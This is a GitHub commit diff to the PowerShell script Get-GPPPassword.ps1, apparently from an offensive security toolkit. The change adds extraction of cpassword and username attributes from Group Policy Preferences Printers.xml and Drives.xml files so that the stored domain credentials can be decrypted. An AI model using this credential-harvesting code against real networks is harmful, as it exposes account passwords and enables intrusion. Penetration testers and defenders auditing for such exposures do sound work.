Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 49c9f04

Browse files
committed
Update to version 2.4.0 from @jakxx
Removed unnecessary comment, merged update with printers.xml and drives.xml from @Jackxx
1 parent b450a70 commit 49c9f04

File tree

1 file changed

+14
-3
lines changed

1 file changed

+14
-3
lines changed

Exfiltration/Get-GPPPassword.ps1

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ function Get-GPPPassword {
99
License: BSD 3-Clause
1010
Required Dependencies: None
1111
Optional Dependencies: None
12-
Version: 2.3.2
12+
Version: 2.4.0
1313
1414
.DESCRIPTION
1515
@@ -115,7 +115,6 @@ function Get-GPPPassword {
115115

116116
try {
117117

118-
#$FileObject = Get-ChildItem $File
119118
$Filename = Split-Path $File -Leaf
120119
[xml] $Xml = Get-Content ($File)
121120

@@ -157,8 +156,20 @@ function Get-GPPPassword {
157156
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
158157
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
159158
}
159+
160+
'Printers.xml' {
161+
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
162+
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
163+
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
164+
}
165+
166+
'Drives.xml' {
167+
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
168+
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
169+
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
170+
}
160171
}
161-
}
172+
}
162173

163174
foreach ($Pass in $Cpassword) {
164175
Write-Verbose "Decrypting $Pass"

0 commit comments

Comments
 (0)